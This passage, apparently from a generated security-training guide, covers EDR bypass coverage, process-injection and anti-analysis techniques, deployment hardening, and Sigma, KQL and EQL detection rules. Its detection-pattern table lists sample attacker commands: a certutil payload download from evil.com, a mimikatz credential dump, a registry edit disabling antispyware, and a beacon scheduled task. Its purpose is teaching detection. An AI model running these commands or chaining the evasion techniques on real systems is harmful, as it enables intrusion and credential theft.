ETW TI Patching              |     -     | BYPASS |     -     |     -      |  -
Minifilter Unlinking         |     -     |   -    |     -     |  BYPASS    |  -
PPL Elevation (BYOVD)        |     -     |   -    |     -     |     -      | BYPASS
Full EDR Blind (combined)    |  BYPASS   | BYPASS |  BYPASS   |  BYPASS    | BYPASS
```

**Key Insight**: No single bypass defeats all layers. Comprehensive EDR evasion requires chaining multiple techniques. Defense in depth with overlapping telemetry sources is critical. [CONFIRMED]

---

## 8. Process Injection Variants and Detection

### 8.1 Injection Techniques and Their Detection Signatures

Based on the Advanced Process Injection Workshop and defensive research:

#### Classic Process Injection (T1055)

| Technique | API Chain | Detection Signal | Difficulty |
|-----------|-----------|-----------------|------------|
| **CreateRemoteThread** | `OpenProcess` -> `VirtualAllocEx` -> `WriteProcessMemory` -> `CreateRemoteThread` | Remote thread creation from non-parent; cross-process memory write + RX permission | Low |
| **APC Queue Injection** (T1055.004) | `OpenThread` -> `VirtualAllocEx` -> `WriteProcessMemory` -> `QueueUserAPC` | APC queued to remote thread; memory allocation in target | Medium |
| **Process Hollowing** (T1055.012) | `CreateProcess(SUSPENDED)` -> `NtUnmapViewOfSection` -> `WriteProcessMemory` -> `SetThreadContext` -> `ResumeThread` | Suspended process creation; section unmap; memory-disk image mismatch | Medium |
| **Thread Context Hijacking** (T1055.003) | `OpenThread` -> `SuspendThread` -> `SetThreadContext` -> `ResumeThread` | Thread suspension + context change in remote process | Medium |

#### Advanced Injection Techniques

| Technique | Mechanism | Detection Signal | Difficulty |
|-----------|-----------|-----------------|------------|
| **Module Stomping** | Overwrite legitimate DLL's .text section with shellcode | Loaded DLL memory differs from disk; PE header intact but code changed | High |
| **Process Doppelganging** (T1055.013) | NTFS transactions — write malicious PE in transaction, create process, rollback | TxF API usage + process creation; file transaction rollback patterns | High |
| **Transacted Hollowing** | Combine NTFS transactions with memory manipulation | TxF API usage + hollowing indicators | High |
| **Process Herpaderping** | Modify on-disk PE after process creation but before image verification | File modification post-CreateProcess; disk vs. memory mismatch | High |
| **Process Ghosting** | Delete PE file before process initialization completes (`FILE_DELETE_ON_CLOSE`) | No backing file for running process; `NtCreateFile` with delete-on-close + `NtCreateProcessEx` | High |
| **DirtyVanity** | Fork API (`RtlCreateProcessReflection`) to clone process with injected code | Process reflection API usage from non-standard callers | High |
| **Mockingjay** | Abuse existing RWX sections in legitimate DLLs | No `VirtualAlloc` or `VirtualProtect` needed — extremely difficult to detect | Very High |

#### Detection Opportunities for All Injection Types

**Kernel-Level:**
- Process notification callback: detect suspended process creation
- Thread notification callback: detect remote thread creation
- Image load callback: detect anomalous DLL loads
- ETW TI: detect cross-process memory operations

**User-Mode:**
- ntdll hooks on `NtAllocateVirtualMemory`, `NtWriteVirtualMemory`, `NtCreateThreadEx`
- Call stack analysis: injection APIs called from unusual code regions
- Memory scanning: detect RWX regions, shellcode patterns

**Behavioral:**
- Parent-child relationship anomalies (Word spawning cmd.exe)
- Process image path vs. loaded module mismatch
- Memory region entropy analysis (high entropy = likely encrypted/compressed payload)
- Cross-process handle audit (non-standard processes accessing others)

### 8.2 EDR Detection Coverage for Injection

| Injection Type | CrowdStrike | MDE | SentinelOne | Carbon Black | Cortex XDR |
|---------------|-------------|-----|-------------|--------------|------------|
| CreateRemoteThread | Detect | Detect | Detect | Detect | Detect |
| APC Injection | Detect | Detect | Detect | Partial | Detect |
| Process Hollowing | Detect | Detect | Detect | Partial | Detect |
| Module Stomping | Partial | Partial | Partial | Low | Partial |
| Doppelganging | Detect | Detect | Partial | Low | Partial |
| Herpaderping | Partial | Detect | Partial | Low | Partial |
| Ghosting | Partial | Detect | Partial | Low | Partial |
| Direct Syscall variants | Partial | ETW TI | Low | Low | Kernel hooks |

[INFERRED] — Detection coverage based on published capabilities and telemetry analysis. Actual detection depends on rule tuning and product version.

---

## 9. Anti-Analysis Techniques from the Detection Perspective

Based on al-khaser and defensive research, understanding anti-analysis is critical for both building resilient sandboxes and detecting evasive malware.

### 9.1 Anti-Debugging Techniques and Detection

| Technique | API/Method | What Malware Checks | Defender Detection |
|-----------|-----------|---------------------|-------------------|
| **IsDebuggerPresent** | `kernel32!IsDebuggerPresent` | PEB `BeingDebugged` flag | Monitor API call patterns; benign software rarely calls this |
| **CheckRemoteDebuggerPresent** | `kernel32!CheckRemoteDebuggerPresent` | Remote debugger attachment | Same — correlate with other evasion checks |
| **NtQueryInformationProcess** | `ProcessDebugPort` (0x7), `ProcessDebugFlags` (0x1F), `ProcessDebugObject` (0x1E) | Debugger presence via multiple information classes | Monitor NQIP calls with debug-related info classes |
| **PEB.NtGlobalFlag** | Direct PEB read | `FLG_HEAP_ENABLE_TAIL_CHECK \| FLG_HEAP_ENABLE_FREE_CHECK \| FLG_HEAP_VALIDATE_PARAMETERS` (0x70) | Detect PEB memory reads from non-standard offsets |
| **Hardware Breakpoint Detection** | `GetThreadContext` / SEH handler | DR0-DR3 register contents | Monitor `GetThreadContext` from suspicious processes |
| **Software Breakpoint Detection** | Memory scanning for `0xCC` (INT3) | Code modification by debugger | Benign code scanning own memory is suspicious |
| **Timing Checks** | `RDTSC`, `GetTickCount`, `QueryPerformanceCounter` | Execution time anomalies from single-stepping | Rapid successive timing API calls = evasion check |
| **TLS Callbacks** | PE TLS directory entry | Execute code before `main()` / debugger break | Monitor TLS callback execution, unusual pre-main activity |
| **Parent Process Check** | `NtQueryInformationProcess` for parent PID | Parent should be `explorer.exe` for user-launched apps | Non-explorer parent is suspicious for supposed user apps |

### 9.2 Anti-VM/Sandbox Detection

| Technique | Check | Artifacts | Defender Countermeasure |
|-----------|-------|-----------|----------------------|
| **Registry Artifacts** | `HKLM\HARDWARE\ACPI\DSDT\VBOX__` | VirtualBox/VMware/QEMU registry keys | Harden sandbox: remove or redirect registry keys |
| **File System** | Check for `vboxservice.exe`, `vmtoolsd.exe`, `vmhgfs.sys` | VM guest tools | Remove or rename guest tools in sandbox |
| **MAC Address Prefix** | `08:00:27` (VBox), `00:0C:29` (VMware) | Network adapter OUI | Randomize MAC addresses |
| **CPUID Hypervisor Bit** | `CPUID EAX=1` → ECX bit 31 | Hypervisor present flag | Cannot easily hide on most hypervisors |
| **CPUID Vendor String** | `CPUID EAX=0x40000000` | "KVMKVMKVM", "VMwareVMware", "VBoxVBoxVBox" | Custom hypervisor vendor string |
| **SCSI/IDE Device Names** | `HKLM\HARDWARE\DeviceMap\Scsi` | "VBOX HARDDISK", "VMWARE" | Customize device strings |
| **BIOS Version** | `HKLM\HARDWARE\Description\System` | "VBOX", "QEMU", "BOCHS" | Custom SMBIOS data |
| **WMI Queries** | `Win32_ComputerSystem`, `Win32_Processor` | Low CPU cores, small RAM, VM manufacturer | Allocate realistic resources |
| **Screen Resolution** | `GetSystemMetrics` | Low resolution, single monitor | Set production-like display |
| **Username/Hostname** | `GetUserName`, `GetComputerName` | "sandbox", "malware", "virus", "sample" | Use realistic names |
| **Thermal Zone** | WMI `Win32_TemperatureProbe` | No thermal data = VM | Emulate thermal sensors |
| **Recent Files/Browser History** | Shell folder enumeration | Empty = new sandbox | Pre-populate with dummy data |

### 9.3 Detecting Anti-Analysis Behavior Itself

These behaviors are themselves indicators of malicious intent:

**Sigma Rule Concept — Anti-Analysis API Pattern:**
```yaml
title: Process Performing Anti-Analysis Environment Checks
id: a1b2c3d4-5678-90ab-cdef-123456789012
status: experimental
description: Detects processes querying multiple VM/debugger artifacts
logsource:
  category: process_creation
  product: windows
detection:
  selection_registry:
    TargetObject|contains:
      - 'ACPI\\DSDT\\VBOX'
      - 'VMware, Inc.'
      - 'Scsi\\Disk&Ven_VBOX'
  selection_process:
    CommandLine|contains:
      - 'Win32_ComputerSystem'
      - 'Win32_Processor'
      - 'Win32_TemperatureProbe'
  condition: selection_registry or selection_process
falsepositives:
  - Legitimate virtualization management tools
  - System inventory software
level: medium
tags:
  - attack.defense_evasion
  - attack.t1497.001
```

**Behavioral Indicators of Evasive Malware:**
- Multiple timing API calls in rapid succession (RDTSC + GetTickCount + QPC)
- Registry queries for VM artifacts followed by process termination
- Sleep calls > 10 minutes immediately after execution (sandbox timeout evasion)
- Module enumeration searching for analysis tool DLLs (`sbiedll.dll`, `dbghelp.dll`, `snxhk.dll`)
- Process enumeration looking for analysis tools (OllyDbg, x64dbg, Wireshark, Process Monitor, IDA Pro, Frida)

---

## 10. EDR Deployment Best Practices

### 10.1 Pre-Deployment

1. **Baseline the Environment**
   - Inventory all endpoints: OS versions, installed software, running services
   - Document existing security tools and potential conflicts
   - Identify critical applications that may conflict with EDR hooks
   - Map network architecture for sensor placement

2. **Pilot Phase**
   - Deploy in **audit/monitor mode** first — never start in block mode
   - Select representative pilot group: workstations, servers, developer machines
   - Run for minimum 2 weeks to establish behavioral baseline
   - Document all false positives and application conflicts

3. **Exclusion Engineering**
   - Minimize exclusions — every exclusion is an attack surface
   - Never exclude by path alone for user-writable locations
   - Prefer process + path + hash combinations
   - Document every exclusion with business justification and owner
   - Review exclusions quarterly

### 10.2 Deployment Configuration

**Critical Settings:**

| Setting | Recommendation | Rationale |
|---------|---------------|-----------|
| Tamper protection | **ENABLED** | Prevent attackers from disabling EDR |
| Cloud connectivity | **REQUIRED** | ML models and threat intel need cloud access |
| Script content logging | **ENABLED** | PowerShell, VBScript, WMI content visibility |
| Memory protection | **ENABLED** | Credential theft and injection detection |
| Network monitoring | **ENABLED** | C2 and lateral movement detection |
| AMSI integration | **ENABLED** | Fileless attack detection |
| Vulnerable driver blocklist | **ENABLED** | BYOVD prevention |
| PPL protection | **ENABLED** | Protect LSASS and EDR processes |

### 10.3 Kernel Protection Hardening Stack

Deploy these in combination — no single protection is sufficient:

```
[x] Secure Boot                  — Boot chain integrity
[x] ELAM driver                  — EDR loads first
[x] Driver Signature Enforcement — No unsigned kernel code
[x] HVCI                         — No unsigned kernel execution
[x] Credential Guard             — Isolated credential storage
[x] PPL for LSASS                — RunAsPPL enabled
[x] PPL for EDR service          — Protected antimalware signer
[x] Vulnerable Driver Blocklist  — Block known BYOVD targets
[x] ASR rules (MDE)              — Attack Surface Reduction
```

### 10.4 Post-Deployment Monitoring

- Monitor EDR agent health telemetry (service status, driver loaded, policy version)
- Alert on EDR tampering attempts (service stop, driver unload, file modification)
- Track EDR coverage gaps (offline agents, outdated versions, degraded mode)
- Verify telemetry flow to SIEM/data lake (silent failure = blind spot)

---

## 11. EDR Tuning for SOC Teams

### 11.1 Reducing False Positives

**Triage Framework for FP Reduction:**

1. **Categorize FP Sources:**
   - Legitimate admin tools triggering behavioral rules (PsExec, WMIC, PowerShell remoting)
   - Developer activity (compilation, debugging, code signing tools)
   - IT automation (SCCM, Ansible, GPO scripts)
   - Security tools (vulnerability scanners, pen test tools during authorized testing)

2. **FP Resolution Priority:**
   - **High-volume, low-fidelity** alerts: tune first (biggest SOC time drain)
   - **High-fidelity, low-volume** alerts: leave untouched (these catch real attacks)
   - **Medium alerts**: add context enrichment before suppressing

3. **Tuning Methods:**

| Method | When to Use | Risk |
|--------|-------------|------|
| Process exclusion (hash + path) | Known legitimate tool, stable binary | Low — hash changes on update |
| Path exclusion | Static application directory | Medium — attacker can place malware in excluded path |
| User/group exclusion | Service accounts with known behavior | Medium — compromised account bypasses detection |
| Command-line allowlist | Specific legitimate command patterns | Low — precise targeting |
| Threshold tuning | Alert on N events in T time instead of single event | Medium — attacker can stay under threshold |
| Suppression (temporary) | During known maintenance windows | Low — time-bounded |

### 11.2 Custom Detection Rules

**Building Custom Rules for Your Environment:**

**Step 1: Identify Detection Gap**
- Map current detection coverage to MITRE ATT&CK
- Identify techniques relevant to your threat model with no coverage
- Prioritize by threat intelligence (what TTPs do your adversaries use?)

**Step 2: Identify Available Telemetry**
- Check which events your EDR collects for the target technique
- Verify telemetry is flowing to your hunting platform
- If telemetry is missing, evaluate enabling additional log sources

**Step 3: Write and Test Rule**

**Example — Detecting BYOVD (vulnerable driver loading):**

```yaml
# Sigma Rule
title: Known Vulnerable Driver Loaded
id: 7bc17a5c-8b4e-4e8d-a124-6b8e5c3d9f01
status: experimental
description: Detects loading of drivers known to be exploited for BYOVD attacks
logsource:
  category: driver_load
  product: windows
detection:
  selection:
    Hashes|contains:
      - '01aa278b07b58dc46c84bd0b1b5c8e9ee4e62ea0bf7a695862444af32e87f1fd'  # RTCore64.sys
      - '0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5'  # DBUtil_2_3.sys
  selection_name:
    ImageLoaded|endswith:
      - '\RTCore64.sys'
      - '\DBUtil_2_3.sys'
      - '\echo_driver.sys'
      - '\wnBio.sys'
  condition: selection or selection_name
falsepositives:
  - Legitimate MSI Afterburner usage (RTCore64.sys)
  - Dell firmware update tools (DBUtil_2_3.sys)
level: critical
tags:
  - attack.privilege_escalation
  - attack.t1068
  - attack.defense_evasion
  - attack.t1562.001
```

**Example — KQL for MDE (LSASS access from suspicious process):**
```kql
DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName in~ ("mimikatz.exe", "procdump.exe", "sqldumper.exe")
    or InitiatingProcessFileName in~ ("rundll32.exe", "regsvr32.exe")
| where ProcessCommandLine has_any ("lsass", "sekurlsa", "logonpasswords")
| project Timestamp, DeviceName, InitiatingProcessFileName,
          FileName, ProcessCommandLine, AccountName
| sort by Timestamp desc
```

**Example — EQL for Elastic (Process injection chain):**
```eql
sequence by host.id with maxspan=30s
  [process where event.action == "start" and
   process.pe.original_file_name == "rundll32.exe" and
   process.args_count == 1]
  [api where process.name == "rundll32.exe" and
   api.name in ("VirtualAllocEx", "WriteProcessMemory")]
  [process where event.action == "start" and
   process.parent.name == "rundll32.exe"]
```

### 11.3 Detection Coverage Assessment

**Quarterly Assessment Process:**

1. Map all active detection rules to MITRE ATT&CK techniques
2. Identify coverage gaps against threat model
3. Run purple team exercises against gap areas
4. Measure detection rate: `True Positives / (True Positives + False Negatives)`
5. Tune rules based on findings
6. Document and track coverage improvement over time

**Coverage Heat Map Template:**

| Tactic | Techniques Covered | Total Techniques | Coverage % | Priority Gaps |
|--------|-------------------|-----------------|------------|---------------|
| Initial Access | 6/10 | 10 | 60% | Phishing link detection |
| Execution | 9/14 | 14 | 64% | WMI subscription |
| Persistence | 12/19 | 19 | 63% | Boot/logon autostart |
| Privilege Escalation | 8/13 | 13 | 62% | Token manipulation |
| Defense Evasion | 15/42 | 42 | 36% | **Highest gap** — syscalls, unhooking |
| Credential Access | 7/17 | 17 | 41% | DCSync, Kerberoasting |
| Discovery | 5/31 | 31 | 16% | Low priority (noisy) |
| Lateral Movement | 6/9 | 9 | 67% | RDP hijacking |
| Collection | 3/17 | 17 | 18% | Email collection |
| C2 | 8/16 | 16 | 50% | DNS tunneling |
| Exfiltration | 4/9 | 9 | 44% | Encrypted channel |
| Impact | 5/14 | 14 | 36% | Firmware corruption |

---

## 12. Detection Engineering with Sigma and EQL

### 12.1 Sigma Rule Framework

**Scale:** 3,000+ community rules across all platforms.

**Rule Structure:**
```yaml
title: Verb + Noun description of detection
id: UUID (randomly generated)
status: experimental | test | stable | deprecated
description: One sentence — behavior detected and why it matters
references:
  - https://link.to/research
author: Author Name
date: YYYY/MM/DD
modified: YYYY/MM/DD
logsource:
  category: process_creation | file_change | registry_event | network_connection
  product: windows | linux
detection:
  selection:
    FieldName|modifier: value
  filter:
    FieldName: legitimate_value
  condition: selection and not filter
falsepositives:
  - Specific legitimate scenario
level: critical | high | medium | low | informational
tags:
  - attack.tXXXX
  - attack.tactic_name
```

**Key Log Source Categories for Endpoint Detection:**

| Category | Source | Key Fields |
|----------|--------|------------|
| `process_creation` | Sysmon EID 1, MDE, EDR | `Image`, `CommandLine`, `ParentImage`, `User`, `Hashes` |
| `file_change` | Sysmon EID 11, EDR | `TargetFilename`, `Image` |
| `file_rename` | Sysmon EID 15, EDR | `TargetFilename`, `CreationUtcTime` |
| `registry_event` | Sysmon EID 12/13/14, EDR | `TargetObject`, `Details`, `Image` |
| `network_connection` | Sysmon EID 3, EDR | `DestinationIp`, `DestinationPort`, `Image` |
| `image_load` | Sysmon EID 7, EDR | `ImageLoaded`, `Image`, `Hashes` |
| `driver_load` | Sysmon EID 6 | `ImageLoaded`, `Hashes`, `Signature` |
| `dns_query` | Sysmon EID 22, EDR | `QueryName`, `Image` |
| `pipe_created` | Sysmon EID 17/18 | `PipeName`, `Image` |
| `wmi_event` | Sysmon EID 19/20/21 | `EventType`, `Destination`, `Consumer` |

**Conversion to EDR-Native Formats:**
```bash
# To Splunk
sigma convert -t splunk -p splunk_cim rule.yml

# To Elastic (ECS)
sigma convert -t elasticsearch -p ecs_windows rule.yml

# To Microsoft Sentinel (KQL)
sigma convert -t microsoft365defender rule.yml

# To CrowdStrike (LogScale)
sigma convert -t crowdstrike rule.yml
```

### 12.2 Process Creation Detection Patterns

The largest Sigma rule category — hundreds of rules covering:

**Detection Vectors:**
1. **Process Identity** — Executable name, path, hash matching known tools
2. **Command-Line Patterns** — Suspicious argument combinations
3. **Parent-Child Relationships** — Anomalous process ancestry

**Common Detection Patterns:**

| Pattern | Example | ATT&CK |
|---------|---------|--------|
| LOLBin abuse | `certutil -urlcache -f http://evil.com/payload.exe` | T1105, T1218 |
| Encoded commands | `powershell -enc JABjAGwAaQBlAG4AdAA=` | T1059.001 |
| Credential tools | `mimikatz.exe sekurlsa::logonpasswords` | T1003.001 |
| Lateral movement | `psexec.exe \\target -s cmd.exe` | T1021.002 |
| Reconnaissance | `nltest /dclist:domain.com` | T1018 |
| Defense evasion | `reg add HKLM\...\DisableAntiSpyware /t REG_DWORD /d 1` | T1562.001 |
| Persistence | `schtasks /create /tn "Update" /tr "C:\temp\beacon.exe" /sc daily` | T1053.005 |

### 12.3 Elastic Behavioral Rules (EQL)

**Advantages of EQL over single-event rules:**
- Sequence detection: correlate multiple events in time order
- Stateful analysis: track event chains per entity
- Until conditions: define sequences that must NOT include certain events
- Flexible joins: correlate across process, file, registry, network events

**Example — Ransomware Behavioral Detection:**
```eql
sequence by process.entity_id with maxspan=1m
  [file where event.action == "rename" and
   file.extension : ("encrypted", "locked", "crypt", "enc")] with runs=10
```
Detects a single process renaming 10+ files to encryption-related extensions within 1 minute.

**Example — Credential Dumping via Comsvcs:**
```eql
process where event.action == "start" and
  process.name == "rundll32.exe" and
  process.args : "*comsvcs*" and
  process.args : "*MiniDump*" and
  process.args : "*full*"
```

---

## 13. References and Sources

### Primary Sources (Fetched)
1. **Mr-Un1k0d3r/EDRs** — EDR hook inventories, syscall resolution, IAT unhooking tools
2. **tsale/EDR-Telemetry** — Cross-vendor telemetry comparison (16 categories, 20+ products)
3. **myzxcg/RealBlindingEDR** — Kernel callback removal (6 callback types) via BYOVD
4. **wavestone-cdt/EDRSandblast** — Comprehensive EDR bypass: kernel callbacks, minifilters, ETW TI, PPL, userland hooks (5 unhooking methods)
5. **RedTeamOperations/Advanced-Process-Injection-Workshop** — 7+ injection variants: APC, hollowing, doppelganging, herpaderping, ghosting, module stomping
6. **elastic/protections-artifacts** — 1,208 behavioral EQL rules, YARA rules, ransomware protection
7. **SigmaHQ/sigma** — 3,000+ detection rules, vendor-agnostic format, MITRE ATT&CK mapped
8. **microsoft/Microsoft-365-Defender-Hunting-Queries** — MDE KQL hunting queries (archived, moved to Sentinel)
9. **LordNoteworthy/al-khaser** — Anti-debugging, anti-VM, anti-sandbox techniques catalog

### Key Defensive Standards
- **MITRE ATT&CK** — Technique and tactic framework for mapping coverage
- **CIS Controls** — Hardening benchmarks (CIS Control 10: Malware Defenses)
- **NIST 800-53** — SI-3 (Malicious Code Protection), SI-4 (System Monitoring)
- **Microsoft Vulnerable Driver Blocklist** — BYOVD prevention

### Recommended Reading
- Microsoft documentation on kernel notification callbacks
- Windows Internals (Yosifovich et al.) — Chapter on process/thread internals
- ETW Threat Intelligence provider internals (slaeryan CNO Development Labs)
- Elastic blog on process injection detection
- CrowdStrike blog on Falcon sensor architecture

---

*Training document generated for NERF security training. Content covers both offensive understanding (RED) and defensive deployment (BLUE) perspectives. All techniques documented for authorized security testing and detection engineering purposes.*
